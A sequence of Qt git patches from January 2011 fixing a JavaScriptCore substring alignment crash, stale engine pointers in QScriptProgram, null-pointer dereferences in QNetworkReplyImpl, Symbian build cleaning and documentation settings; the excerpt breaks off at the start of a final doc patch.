    diff --git a/doc/src/widgets-and-layouts/stylesheet.qdoc b/doc/src/widgets-and-layouts/stylesheet.qdoc
    index 60d8cbd..be845c4 100644
    --- a/doc/src/widgets-and-layouts/stylesheet.qdoc
    +++ b/doc/src/widgets-and-layouts/stylesheet.qdoc
    @@ -32,6 +32,7 @@
     
         \ingroup frameworks-technologies
         \ingroup qt-basic-concepts
    +	\ingroup qt-gui-concepts
     
         \previouspage {Styles and Style Aware Widgets}{Styles}
         \contentspage Widgets and Layouts
    -- 
    cgit v0.12
    
    
    From ead20f4c1edc2e1c5c39f47bf7c9e56600d6362b Mon Sep 17 00:00:00 2001
    From: Kent Hansen 
    Date: Thu, 27 Jan 2011 16:29:52 +0100
    Subject: Fix alignment issue causing crash in QtScript/JavaScriptCore
    
    When creating a substring, JSC::UStringImpl required that the
    base string pointer was 8-byte aligned. However, on platforms
    where FastMalloc isn't enabled (such as Symbian), it's possible
    that the system malloc() returns a pointer that is only 4-byte
    aligned. (On Symbian, this can happen if the argument to malloc()
    itself isn't a multiple of 8.)
    
    Cherry-picked http://trac.webkit.org/changeset/54743 from WebKit
    trunk, which fixes this issue. (The commit happened shortly after
    we rebased QtScript/JSC for 4.7, so it applies cleanly to our copy.)
    
    Task-number: QTBUG-16828
    Reviewed-by: Simon Hausmann
    ---
     .../javascriptcore/JavaScriptCore/ChangeLog        |  25 +++++
     .../JavaScriptCore/runtime/UStringImpl.cpp         |  14 +--
     .../JavaScriptCore/runtime/UStringImpl.h           | 117 ++++++++-------------
     src/3rdparty/javascriptcore/VERSION                |   4 +-
     4 files changed, 76 insertions(+), 84 deletions(-)
    
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
    index c2b1155..9cbf0c1 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
    @@ -358,6 +358,31 @@
     
             * wtf/AlwaysInline.h:
     
    +2010-02-12  Gavin Barraclough  
    +
    +        Reviewed by Darin Adler.
    +
    +        https://bugs.webkit.org/show_bug.cgi?id=33731
    +        Many false leaks in release builds due to PtrAndFlags
    +
    +        Remove UntypedPtrAndBitfield (similar to PtrAndFlags) in UStringImpl,
    +        and steal bits from the refCount instead.
    +
    +        * runtime/UStringImpl.cpp:
    +        (JSC::UStringImpl::baseSharedBuffer):
    +        (JSC::UStringImpl::~UStringImpl):
    +        * runtime/UStringImpl.h:
    +        (JSC::UStringImpl::cost):
    +        (JSC::UStringImpl::isIdentifier):
    +        (JSC::UStringImpl::setIsIdentifier):
    +        (JSC::UStringImpl::ref):
    +        (JSC::UStringImpl::deref):
    +        (JSC::UStringImpl::UStringImpl):
    +        (JSC::UStringImpl::bufferOwnerString):
    +        (JSC::UStringImpl::bufferOwnership):
    +        (JSC::UStringImpl::isStatic):
    +        (JSC::UStringImpl::):
    +
     2010-02-12  Kwang Yul Seo  
     
             Reviewed by Adam Barth.
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp
    index 4b0d1c9..4fde49e 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp
    @@ -38,12 +38,14 @@ namespace JSC {
     SharedUChar* UStringImpl::baseSharedBuffer()
     {
         ASSERT((bufferOwnership() == BufferShared)
    -        || ((bufferOwnership() == BufferOwned) && !m_dataBuffer.asPtr()));
    +        || ((bufferOwnership() == BufferOwned) && !m_buffer));
     
    -    if (bufferOwnership() != BufferShared)
    -        m_dataBuffer = UntypedPtrAndBitfield(SharedUChar::create(new OwnFastMallocPtr(m_data)).releaseRef(), BufferShared);
    +    if (bufferOwnership() != BufferShared) {
    +        m_refCountAndFlags = (m_refCountAndFlags & ~s_refCountMaskBufferOwnership) | BufferShared;
    +        m_bufferShared = SharedUChar::create(new OwnFastMallocPtr(m_data)).releaseRef();
    +    }
     
    -    return m_dataBuffer.asPtr();
    +    return m_bufferShared;
     }
     
     SharedUChar* UStringImpl::sharedBuffer()
    @@ -71,10 +73,10 @@ UStringImpl::~UStringImpl()
             if (bufferOwnership() == BufferOwned)
                 fastFree(m_data);
             else if (bufferOwnership() == BufferSubstring)
    -            m_dataBuffer.asPtr()->deref();
    +            m_bufferSubstring->deref();
             else {
                 ASSERT(bufferOwnership() == BufferShared);
    -            m_dataBuffer.asPtr()->deref();
    +            m_bufferShared->deref();
             }
         }
     }
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h
    index 4e1ddc7..e6d1a8a 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h
    @@ -40,48 +40,6 @@ class IdentifierTable;
       
     typedef CrossThreadRefCounted > SharedUChar;
     
    -class UntypedPtrAndBitfield {
    -public:
    -    UntypedPtrAndBitfield() {}
    -
    -    UntypedPtrAndBitfield(void* ptrValue, uintptr_t bitValue)
    -        : m_value(reinterpret_cast(ptrValue) | bitValue)
    -#ifndef NDEBUG
    -        , m_leaksPtr(ptrValue)
    -#endif
    -    {
    -        ASSERT(ptrValue == asPtr());
    -        ASSERT((*this & ~s_alignmentMask) == bitValue);
    -    }
    -
    -    template
    -    T asPtr() const { return reinterpret_cast(m_value & s_alignmentMask); }
    -
    -    UntypedPtrAndBitfield& operator&=(uintptr_t bits)
    -    {
    -        m_value &= bits | s_alignmentMask;
    -        return *this;
    -    }
    -
    -    UntypedPtrAndBitfield& operator|=(uintptr_t bits)
    -    {
    -        m_value |= bits & ~s_alignmentMask;
    -        return *this;
    -    }
    -
    -    uintptr_t operator&(uintptr_t mask) const
    -    {
    -        return m_value & mask & ~s_alignmentMask;
    -    }
    -
    -private:
    -    static const uintptr_t s_alignmentMask = ~static_cast(0x7);
    -    uintptr_t m_value;
    -#ifndef NDEBUG
    -        void* m_leaksPtr; // Only used to allow tools like leaks on OSX to detect that the memory is referenced.
    -#endif
    -};
    -
     class UStringImpl : Noncopyable {
     public:
         template
    @@ -151,21 +109,27 @@ public:
         {
             // For substrings, return the cost of the base string.
             if (bufferOwnership() == BufferSubstring)
    -            return m_dataBuffer.asPtr()->cost();
    +            return m_bufferSubstring->cost();
     
    -        if (m_dataBuffer & s_reportedCostBit)
    +        if (m_refCountAndFlags & s_refCountFlagHasReportedCost)
                 return 0;
    -        m_dataBuffer |= s_reportedCostBit;
    +        m_refCountAndFlags |= s_refCountFlagHasReportedCost;
             return m_length;
         }
         unsigned hash() const { if (!m_hash) m_hash = computeHash(data(), m_length); return m_hash; }
         unsigned existingHash() const { ASSERT(m_hash); return m_hash; } // fast path for Identifiers
         void setHash(unsigned hash) { ASSERT(hash == computeHash(data(), m_length)); m_hash = hash; } // fast path for Identifiers
    -    bool isIdentifier() const { return m_isIdentifier; }
    -    void setIsIdentifier(bool isIdentifier) { m_isIdentifier = isIdentifier; }
    +    bool isIdentifier() const { return m_refCountAndFlags & s_refCountFlagIsIdentifier; }
    +    void setIsIdentifier(bool isIdentifier)
    +    {
    +        if (isIdentifier)
    +            m_refCountAndFlags |= s_refCountFlagIsIdentifier;
    +        else
    +            m_refCountAndFlags &= ~s_refCountFlagIsIdentifier;
    +    }
     
    -    UStringImpl* ref() { m_refCount += s_refCountIncrement; return this; }
    -    ALWAYS_INLINE void deref() { if (!(m_refCount -= s_refCountIncrement)) delete this; }
    +    UStringImpl* ref() { m_refCountAndFlags += s_refCountIncrement; return this; }
    +    ALWAYS_INLINE void deref() { m_refCountAndFlags -= s_refCountIncrement; if (!(m_refCountAndFlags & s_refCountMask)) delete this; }
     
         static void copyChars(UChar* destination, const UChar* source, unsigned numCharacters)
         {
    @@ -205,11 +169,10 @@ private:
         // Used to construct normal strings with an internal or external buffer.
         UStringImpl(UChar* data, int length, BufferOwnership ownership)
             : m_data(data)
    +        , m_buffer(0)
             , m_length(length)
    -        , m_refCount(s_refCountIncrement)
    +        , m_refCountAndFlags(s_refCountIncrement | ownership)
             , m_hash(0)
    -        , m_isIdentifier(false)
    -        , m_dataBuffer(0, ownership)
         {
             ASSERT((ownership == BufferInternal) || (ownership == BufferOwned));
             checkConsistency();
    @@ -221,11 +184,10 @@ private:
         enum StaticStringConstructType { ConstructStaticString };
         UStringImpl(UChar* data, int length, StaticStringConstructType)
             : m_data(data)
    +        , m_buffer(0)
             , m_length(length)
    -        , m_refCount(s_staticRefCountInitialValue)
    +        , m_refCountAndFlags(s_refCountFlagStatic | BufferOwned)
             , m_hash(0)
    -        , m_isIdentifier(false)
    -        , m_dataBuffer(0, BufferOwned)
         {
             checkConsistency();
         }
    @@ -233,28 +195,26 @@ private:
         // Used to create new strings that are a substring of an existing string.
         UStringImpl(UChar* data, int length, PassRefPtr base)
             : m_data(data)
    +        , m_bufferSubstring(base.releaseRef())
             , m_length(length)
    -        , m_refCount(s_refCountIncrement)
    +        , m_refCountAndFlags(s_refCountIncrement | BufferSubstring)
             , m_hash(0)
    -        , m_isIdentifier(false)
    -        , m_dataBuffer(base.releaseRef(), BufferSubstring)
         {
             // Do use static strings as a base for substrings; UntypedPtrAndBitfield assumes
             // that all pointers will be at least 8-byte aligned, we cannot guarantee that of
             // UStringImpls that are not heap allocated.
    -        ASSERT(m_dataBuffer.asPtr()->size());
    -        ASSERT(!m_dataBuffer.asPtr()->isStatic());
    +        ASSERT(m_bufferSubstring->size());
    +        ASSERT(!m_bufferSubstring->isStatic());
             checkConsistency();
         }
     
         // Used to construct new strings sharing an existing shared buffer.
         UStringImpl(UChar* data, int length, PassRefPtr sharedBuffer)
             : m_data(data)
    +        , m_bufferShared(sharedBuffer.releaseRef())
             , m_length(length)
    -        , m_refCount(s_refCountIncrement)
    +        , m_refCountAndFlags(s_refCountIncrement | BufferShared)
             , m_hash(0)
    -        , m_isIdentifier(false)
    -        , m_dataBuffer(sharedBuffer.releaseRef(), BufferShared)
         {
             checkConsistency();
         }
    @@ -277,26 +237,31 @@ private:
         // This number must be at least 2 to avoid sharing empty, null as well as 1 character strings from SmallStrings.
         static const int s_minLengthToShare = 10;
         static const unsigned s_copyCharsInlineCutOff = 20;
    -    static const uintptr_t s_bufferOwnershipMask = 3;
    -    static const uintptr_t s_reportedCostBit = 4;
         // We initialize and increment/decrement the refCount for all normal (non-static) strings by the value 2.
         // We initialize static strings with an odd number (specifically, 1), such that the refCount cannot reach zero.
    -    static const int s_refCountIncrement = 2;
    -    static const int s_staticRefCountInitialValue = 1;
    -
    -    UStringImpl* bufferOwnerString() { return (bufferOwnership() == BufferSubstring) ? m_dataBuffer.asPtr() :  this; }
    -    const UStringImpl* bufferOwnerString() const { return (bufferOwnership() == BufferSubstring) ? m_dataBuffer.asPtr() :  this; }
    +    static const unsigned s_refCountMask = 0xFFFFFFF0;
    +    static const int s_refCountIncrement = 0x20;
    +    static const int s_refCountFlagStatic = 0x10;
    +    static const unsigned s_refCountFlagHasReportedCost = 0x8;
    +    static const unsigned s_refCountFlagIsIdentifier = 0x4;
    +    static const unsigned s_refCountMaskBufferOwnership = 0x3;
    +
    +    UStringImpl* bufferOwnerString() { return (bufferOwnership() == BufferSubstring) ? m_bufferSubstring :  this; }
    +    const UStringImpl* bufferOwnerString() const { return (bufferOwnership() == BufferSubstring) ? m_bufferSubstring :  this; }
         SharedUChar* baseSharedBuffer();
    -    unsigned bufferOwnership() const { return m_dataBuffer & s_bufferOwnershipMask; }
    -    bool isStatic() const { return m_refCount & 1; }
    +    unsigned bufferOwnership() const { return m_refCountAndFlags & s_refCountMaskBufferOwnership; }
    +    bool isStatic() const { return m_refCountAndFlags & s_refCountFlagStatic; }
     
         // unshared data
         UChar* m_data;
    +    union {
    +        void* m_buffer;
    +        UStringImpl* m_bufferSubstring;
    +        SharedUChar* m_bufferShared;
    +    };
         int m_length;
    -    unsigned m_refCount;
    -    mutable unsigned m_hash : 31;
    -    mutable unsigned m_isIdentifier : 1;
    -    UntypedPtrAndBitfield m_dataBuffer;
    +    unsigned m_refCountAndFlags;
    +    mutable unsigned m_hash;
     
         JS_EXPORTDATA static UStringImpl* s_null;
         JS_EXPORTDATA static UStringImpl* s_empty;
    diff --git a/src/3rdparty/javascriptcore/VERSION b/src/3rdparty/javascriptcore/VERSION
    index b4744b7..13943b2 100644
    --- a/src/3rdparty/javascriptcore/VERSION
    +++ b/src/3rdparty/javascriptcore/VERSION
    @@ -4,8 +4,8 @@ This is a snapshot of JavaScriptCore from
     
     The commit imported was from the
     
    -        javascriptcore-snapshot-24012011 branch/tag
    +        javascriptcore-snapshot-27012011 branch/tag
     
     and has the sha1 checksum
     
    -        d143bde5ae8cff229aebd43487a2fce5e713e990
    +        3ab0f621048fbeb480b687a28ed31d92d8506150
    -- 
    cgit v0.12
    
    
    From b127b1036ec75c625920a6c029b64a95e3702bf9 Mon Sep 17 00:00:00 2001
    From: Kent Hansen 
    Date: Fri, 28 Jan 2011 10:10:31 +0100
    Subject: Invalidate QScriptPrograms when engine is destroyed
    
    If the engine is destroyed before the program, the program
    must be invalidated; otherwise the program destructor will
    access a stale engine pointer, which can cause a crash
    (it crashes on Symbian, but "only" gives a Valgrind warning
    on Linux for our autotests).
    
    We need to keep track of all associated programs, just like
    we already do for values and strings. This fix follows the
    exact same pattern, but uses a QSet to keep the patch minimal.
    
    No new tests, but the evaluateProgram() test runs successfully
    on Symbian now, and there are no more Valgrind warnings.
    
    Task-number: QTBUG-16987
    Reviewed-by: Olivier Goffart
    ---
     src/script/api/qscriptengine.cpp  |  9 +++++++++
     src/script/api/qscriptengine_p.h  | 18 ++++++++++++++++++
     src/script/api/qscriptprogram.cpp | 21 ++++++++++++++-------
     src/script/api/qscriptprogram_p.h |  1 +
     4 files changed, 42 insertions(+), 7 deletions(-)
    
    diff --git a/src/script/api/qscriptengine.cpp b/src/script/api/qscriptengine.cpp
    index 9e338d4..54039c0 100644
    --- a/src/script/api/qscriptengine.cpp
    +++ b/src/script/api/qscriptengine.cpp
    @@ -1022,6 +1022,7 @@ QScriptEnginePrivate::~QScriptEnginePrivate()
         while (!ownedAgents.isEmpty())
             delete ownedAgents.takeFirst();
     
    +    detachAllRegisteredScriptPrograms();
         detachAllRegisteredScriptValues();
         detachAllRegisteredScriptStrings();
         qDeleteAll(m_qobjectData);
    @@ -1576,6 +1577,14 @@ bool QScriptEnginePrivate::scriptDisconnect(JSC::JSValue signal, JSC::JSValue re
     
     #endif
     
    +void QScriptEnginePrivate::detachAllRegisteredScriptPrograms()
    +{
    +    QSet::const_iterator it;
    +    for (it = registeredScriptPrograms.constBegin(); it != registeredScriptPrograms.constEnd(); ++it)
    +        (*it)->detachFromEngine();
    +    registeredScriptPrograms.clear();
    +}
    +
     void QScriptEnginePrivate::detachAllRegisteredScriptValues()
     {
         QScriptValuePrivate *it;
    diff --git a/src/script/api/qscriptengine_p.h b/src/script/api/qscriptengine_p.h
    index 05a8901..f8144e9 100644
    --- a/src/script/api/qscriptengine_p.h
    +++ b/src/script/api/qscriptengine_p.h
    @@ -87,6 +87,7 @@ class QScriptEngineAgent;
     class QScriptEnginePrivate;
     class QScriptSyntaxCheckResult;
     class QScriptEngine;
    +class QScriptProgramPrivate;
     
     namespace QScript
     {
    @@ -273,6 +274,10 @@ public:
         static QScriptSyntaxCheckResult checkSyntax(const QString &program);
         static bool canEvaluate(const QString &program);
     
    +    inline void registerScriptProgram(QScriptProgramPrivate *program);
    +    inline void unregisterScriptProgram(QScriptProgramPrivate *program);
    +    void detachAllRegisteredScriptPrograms();
    +
         inline QScriptValuePrivate *allocateScriptValuePrivate(size_t);
         inline void freeScriptValuePrivate(QScriptValuePrivate *p);
     
    @@ -368,6 +373,7 @@ public:
         static const int maxFreeScriptValues = 256;
         int freeScriptValuesCount;
         QScriptStringPrivate *registeredScriptStrings;
    +    QSet registeredScriptPrograms;
         QHash m_typeInfos;
         int processEventsInterval;
         QScriptValue abortResult;
    @@ -566,6 +572,18 @@ inline QByteArray convertToLatin1(const JSC::UString &str)
     
     } // namespace QScript
     
    +inline void QScriptEnginePrivate::registerScriptProgram(QScriptProgramPrivate *program)
    +{
    +    Q_ASSERT(!registeredScriptPrograms.contains(program));
    +    registeredScriptPrograms.insert(program);
    +}
    +
    +inline void QScriptEnginePrivate::unregisterScriptProgram(QScriptProgramPrivate *program)
    +{
    +    Q_ASSERT(registeredScriptPrograms.contains(program));
    +    registeredScriptPrograms.remove(program);
    +}
    +
     inline QScriptValuePrivate *QScriptEnginePrivate::allocateScriptValuePrivate(size_t size)
     {
         if (freeScriptValues) {
    diff --git a/src/script/api/qscriptprogram.cpp b/src/script/api/qscriptprogram.cpp
    index da103bb..31af9a0 100644
    --- a/src/script/api/qscriptprogram.cpp
    +++ b/src/script/api/qscriptprogram.cpp
    @@ -64,6 +64,7 @@ QScriptProgramPrivate::~QScriptProgramPrivate()
         if (engine) {
             QScript::APIShim shim(engine);
             _executable.clear();
    +        engine->unregisterScriptProgram(this);
         }
     }
     
    @@ -78,7 +79,10 @@ JSC::EvalExecutable *QScriptProgramPrivate::executable(JSC::ExecState *exec,
         if (_executable) {
             if (eng == engine)
                 return _executable.get();
    -        _executable = 0;
    +        // "Migrating" to another engine; clean up old state
    +        QScript::APIShim shim(engine);
    +        _executable.clear();
    +        engine->unregisterScriptProgram(this);
         }
         WTF::PassRefPtr provider
             = QScript::UStringSourceProviderWithFeedback::create(sourceCode, fileName, firstLineNumber, eng);
    @@ -86,10 +90,19 @@ JSC::EvalExecutable *QScriptProgramPrivate::executable(JSC::ExecState *exec,
         JSC::SourceCode source(provider, firstLineNumber); //after construction of SourceCode provider variable will be null.
         _executable = JSC::EvalExecutable::create(exec, source);
         engine = eng;
    +    engine->registerScriptProgram(this);
         isCompiled = false;
         return _executable.get();
     }
     
    +void QScriptProgramPrivate::detachFromEngine()
    +{
    +    _executable.clear();
    +    sourceId = -1;
    +    isCompiled = false;
    +    engine = 0;
    +}
    +
     /*!
       Constructs a null QScriptProgram.
     */
    @@ -122,9 +135,6 @@ QScriptProgram::QScriptProgram(const QScriptProgram &other)
     */
     QScriptProgram::~QScriptProgram()
     {
    -    //    Q_D(QScriptProgram);
    -    //    if (d->engine && (d->ref == 1))
    -    //      d->engine->unregisterScriptProgram(d);
     }
     
     /*!
    @@ -132,9 +142,6 @@ QScriptProgram::~QScriptProgram()
     */
     QScriptProgram &QScriptProgram::operator=(const QScriptProgram &other)
     {
    -  //    if (d_func() && d_func()->engine && (d_func()->ref == 1))
    -      //        d_func()->engine->unregisterScriptProgram(d_func());
    -  //    }
         d_ptr = other.d_ptr;
         return *this;
     }
    diff --git a/src/script/api/qscriptprogram_p.h b/src/script/api/qscriptprogram_p.h
    index d2fd234..e7809ab 100644
    --- a/src/script/api/qscriptprogram_p.h
    +++ b/src/script/api/qscriptprogram_p.h
    @@ -61,6 +61,7 @@ public:
     
         JSC::EvalExecutable *executable(JSC::ExecState *exec,
                                         QScriptEnginePrivate *engine);
    +    void detachFromEngine();
     
         QBasicAtomicInt ref;
     
    -- 
    cgit v0.12
    
    
    From 298b54b4fa99db47d62ec37eacefb4f419b79a69 Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Fri, 28 Jan 2011 11:12:50 +0100
    Subject: Revert "Improve timer ID safety by using a serial counter per ID."
    
    This reverts commit 121e2b39043a4ffc6583f250aebb9a3a746076c1. It was
    considered too dangerous for 4.7.
    ---
     src/corelib/kernel/qabstracteventdispatcher.cpp | 30 +++++--------------------
     1 file changed, 6 insertions(+), 24 deletions(-)
    
    diff --git a/src/corelib/kernel/qabstracteventdispatcher.cpp b/src/corelib/kernel/qabstracteventdispatcher.cpp
    index cc08f092..e79f87a 100644
    --- a/src/corelib/kernel/qabstracteventdispatcher.cpp
    +++ b/src/corelib/kernel/qabstracteventdispatcher.cpp
    @@ -137,12 +137,6 @@ void QAbstractEventDispatcherPrivate::init()
     // free list). As an added protection, we use the cell to store an invalid
     // (negative) value that we can later check for integrity.
     //
    -// ABA prevention simply adds a value to 7 of the top 8 bits when resetting
    -// nextFreeTimerId.
    -//
    -// The extra code is the bucket allocation which allows us to start with a
    -// very small bucket size and grow as needed.
    -//
     // (continues below).
     int QAbstractEventDispatcherPrivate::allocateTimerId()
     {
    @@ -170,8 +164,6 @@ int QAbstractEventDispatcherPrivate::allocateTimerId()
             newTimerId = prepareNewValueWithSerialNumber(timerId, b[at]);
         } while (!nextFreeTimerId.testAndSetRelaxed(timerId, newTimerId));
     
    -    timerId &= TimerIdMask;
    -    timerId |= b[at] & TimerSerialMask;
         b[at] = -timerId;
     
         return timerId;
    @@ -182,13 +174,12 @@ int QAbstractEventDispatcherPrivate::allocateTimerId()
     //    X[timerId] = nextFreeTimerId;
     // then we update nextFreeTimerId to the timer we've just released
     //
    +// The extra code in allocateTimerId and releaseTimerId are ABA prevention
    +// and bucket memory. The buckets are simply to make sure we allocate only
    +// the necessary number of timers. See above.
    +//
     // ABA prevention simply adds a value to 7 of the top 8 bits when resetting
     // nextFreeTimerId.
    -//
    -// In addition to that, we update the same 7 bits in each entry in the bucket
    -// as a counter. That way, a timer ID allocated and released will always be
    -// returned with a different ID. This reduces the chances of timers being released
    -// erroneously by application code.
     void QAbstractEventDispatcherPrivate::releaseTimerId(int timerId)
     {
         int which = timerId & TimerIdMask;
    @@ -196,21 +187,12 @@ void QAbstractEventDispatcherPrivate::releaseTimerId(int timerId)
         int at = bucketIndex(bucket, which);
         int *b = timerIds[bucket];
     
    -#ifndef QT_NO_DEBUG
    -    // debug code
    -    Q_ASSERT_X(timerId == -b[at], "QAbstractEventDispatcher::releaseTimerId", "Timer ID was not found, fix application");
    -#else
    -    if (timerId != -b[at]) {
    -        // release code
    -        qWarning("Timer ID %d was not found, fix application", timerId);
    -        return;
    -    }
    -#endif
    +    Q_ASSERT(b[at] == -timerId);
     
         int freeId, newTimerId;
         do {
             freeId = nextFreeTimerId;//.loadAcquire(); // ### FIXME Proper memory ordering semantics
    -        b[at] = prepareNewValueWithSerialNumber(-b[at], freeId);
    +        b[at] = freeId & TimerIdMask;
     
             newTimerId = prepareNewValueWithSerialNumber(freeId, timerId);
         } while (!nextFreeTimerId.testAndSetRelease(freeId, newTimerId));
    -- 
    cgit v0.12
    
    
    From 97503dfd7fad9c8023b2f9632e6ef865ccd0cad8 Mon Sep 17 00:00:00 2001
    From: Jani Hautakangas 
    Date: Fri, 28 Jan 2011 13:12:47 +0200
    Subject: Fix typo in qglthreads auto test.
    
    Reviewed-by: TRUSTME
    ---
     tests/auto/qglthreads/tst_qglthreads.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/tests/auto/qglthreads/tst_qglthreads.cpp b/tests/auto/qglthreads/tst_qglthreads.cpp
    index 0bcc4f6..65bebb0 100644
    --- a/tests/auto/qglthreads/tst_qglthreads.cpp
    +++ b/tests/auto/qglthreads/tst_qglthreads.cpp
    @@ -216,7 +216,7 @@ public:
                 // That's why we create only small textures.
                 width = 50;
                 height = 20;
    -#else
    +#endif
                 QImage image(width, height, QImage::Format_RGB32);
                 QPainter p(&image);
                 p.fillRect(image.rect(), QColor(rand() % 256, rand() % 256, rand() % 256));
    -- 
    cgit v0.12
    
    
    From bdf3782b40b0fc2ebfda960be08c90b549cfd970 Mon Sep 17 00:00:00 2001
    From: Simon Hausmann 
    Date: Fri, 28 Jan 2011 12:23:08 +0100
    Subject: Fix potential networking crash due to null-pointer dereference
    
    An internal bug report suggests that we unconditionally dereference the backend
    pointer in QNetworkReplyImpl when checking for the synchronity of the
    originating request. The dereferencing code was introduced in commit
    ad1e82323225e996720136e8b2d669166b8d8441. Unfortunately the report does not
    detail where/how the crash happened, but it appears plausible that the backend
    pointer became null, and the surrounding code that has extra checks suggests
    this, too. In an attempt of defensive programming this patch introduces
    the missing check in the reported line 112 as well as in other places
    where it seems appropriate.
    
    Reviewed-by: Peter Hartmann
    ---
     src/network/access/qnetworkreplyimpl.cpp | 6 +++---
     1 file changed, 3 insertions(+), 3 deletions(-)
    
    diff --git a/src/network/access/qnetworkreplyimpl.cpp b/src/network/access/qnetworkreplyimpl.cpp
    index 9d7082c..343f344 100644
    --- a/src/network/access/qnetworkreplyimpl.cpp
    +++ b/src/network/access/qnetworkreplyimpl.cpp
    @@ -109,7 +109,7 @@ void QNetworkReplyImplPrivate::_q_startOperation()
         }
     #endif
     
    -    if (backend->isSynchronous()) {
    +    if (backend && backend->isSynchronous()) {
             state = Finished;
         } else {
             if (state != Finished) {
    @@ -296,7 +296,7 @@ void QNetworkReplyImplPrivate::setup(QNetworkAccessManager::Operation op, const
         // in QtWebKit.
         QVariant synchronousHttpAttribute = req.attribute(
                 static_cast(QNetworkRequest::DownloadBufferAttribute + 1));
    -    if (synchronousHttpAttribute.toBool()) {
    +    if (backend && synchronousHttpAttribute.toBool()) {
             backend->setSynchronous(true);
             if (outgoingData && outgoingData->isSequential()) {
                 outgoingDataBuffer = new QRingBuffer();
    @@ -351,7 +351,7 @@ void QNetworkReplyImplPrivate::setup(QNetworkAccessManager::Operation op, const
                 QMetaObject::invokeMethod(q, "_q_startOperation", Qt::QueuedConnection);
             }
     #else
    -        if (backend->isSynchronous())
    +        if (backend && backend->isSynchronous())
                 _q_startOperation();
             else
                 QMetaObject::invokeMethod(q, "_q_startOperation", Qt::QueuedConnection);
    -- 
    cgit v0.12
    
    
    From be4d3182e48dcae70837f26d76dd449d914e8cb3 Mon Sep 17 00:00:00 2001
    From: Miikka Heikkinen 
    Date: Fri, 28 Jan 2011 16:32:33 +0200
    Subject: Fix generated mif file cleaning in symbian-abld
    
    Mif file cleaning was incorrectly done at distclean phase.
    
    Task-number: QTBUG-16893
    Reviewed-by: axis
    ---
     mkspecs/features/symbian/application_icon.prf | 2 +-
     qmake/generators/symbian/symmake_abld.cpp     | 4 +++-
     2 files changed, 4 insertions(+), 2 deletions(-)
    
    diff --git a/mkspecs/features/symbian/application_icon.prf b/mkspecs/features/symbian/application_icon.prf
    index b6be89b..06f5b31 100644
    --- a/mkspecs/features/symbian/application_icon.prf
    +++ b/mkspecs/features/symbian/application_icon.prf
    @@ -71,7 +71,7 @@ contains(CONFIG, no_icon) {
                     mifconv.depends = $$ICON
                     PRE_TARGETDEPS += $$mifconv.target
                     QMAKE_EXTRA_TARGETS += mifconv
    -                QMAKE_DISTCLEAN += $$mifconv.target
    +                QMAKE_CLEAN += $$mifconv.target
                 }
                 # Rules to use generated MIF file from symbian resources
                 RSS_RULES.number_of_icons = $$size(ICON_backslashed)
    diff --git a/qmake/generators/symbian/symmake_abld.cpp b/qmake/generators/symbian/symmake_abld.cpp
    index 5729e26..b582257 100644
    --- a/qmake/generators/symbian/symmake_abld.cpp
    +++ b/qmake/generators/symbian/symmake_abld.cpp
    @@ -190,6 +190,7 @@ void SymbianAbldMakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, bool
         t << "QMAKE             = " << var("QMAKE_QMAKE") << endl;
         t << "DEL_FILE          = " << var("QMAKE_DEL_FILE") << endl;
         t << "DEL_DIR           = " << var("QMAKE_DEL_DIR") << endl;
    +    t << "DEL_TREE          = " << var("QMAKE_DEL_TREE") << endl;
         t << "MOVE              = " << var("QMAKE_MOVE") << endl;
         t << "CHK_DIR_EXISTS    = " << var("QMAKE_CHK_DIR_EXISTS") << endl;
         t << "MKDIR             = " << var("QMAKE_MKDIR") << endl;
    @@ -329,7 +330,8 @@ void SymbianAbldMakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, bool
             // Note: EXTENSION_CLEAN will get called many times when doing reallyclean
             //       This is why the "2> NUL" gets appended to generated clean targets in makefile.cpp.
             t << EXTENSION_CLEAN ": " COMPILER_CLEAN_TARGET << endl;
    -        generateCleanCommands(t, dirsToClean, var("QMAKE_DEL_TREE"), "", "", "");
    +        generateCleanCommands(t, dirsToClean, "$(DEL_TREE)", "", "", "");
    +        generateCleanCommands(t, project->values("QMAKE_CLEAN"), "$(DEL_FILE)", "", "", "");
             t << endl;
     
             t << PRE_TARGETDEPS_TARGET ":"
    -- 
    cgit v0.12
    
    
    From 9a436bdd776337c71d4cc4ef9836328a6e691b66 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Fri, 28 Jan 2011 20:24:13 +0100
    Subject: Doc: Fixed the qthelp namespace for the Qt documentation.
    
    This may need to be cherry-picked into the 4.7.2 release.
    ---
     tools/qdoc3/test/qt-project.qdocconf | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/tools/qdoc3/test/qt-project.qdocconf b/tools/qdoc3/test/qt-project.qdocconf
    index ca7caa9..3ed7cff 100644
    --- a/tools/qdoc3/test/qt-project.qdocconf
    +++ b/tools/qdoc3/test/qt-project.qdocconf
    @@ -15,7 +15,7 @@ naturallanguage         = en_US
     qhp.projects            = Qt
     
     qhp.Qt.file                = qt.qhp
    -qhp.Qt.namespace           = com.trolltech.qt.471
    +qhp.Qt.namespace           = com.trolltech.qt.472
     qhp.Qt.virtualFolder       = qdoc
     qhp.Qt.indexTitle          = Qt Reference Documentation
     qhp.Qt.indexRoot           =
    -- 
    cgit v0.12
    
    
    From d6d94fc75535874cef0c69ce14e03ecd726efa00 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Fri, 28 Jan 2011 20:25:19 +0100
    Subject: Doc: Added a missing style sheet to the qhp manifest.
    
    This may need to be cherry-picked into the 4.7.2 release.
    ---
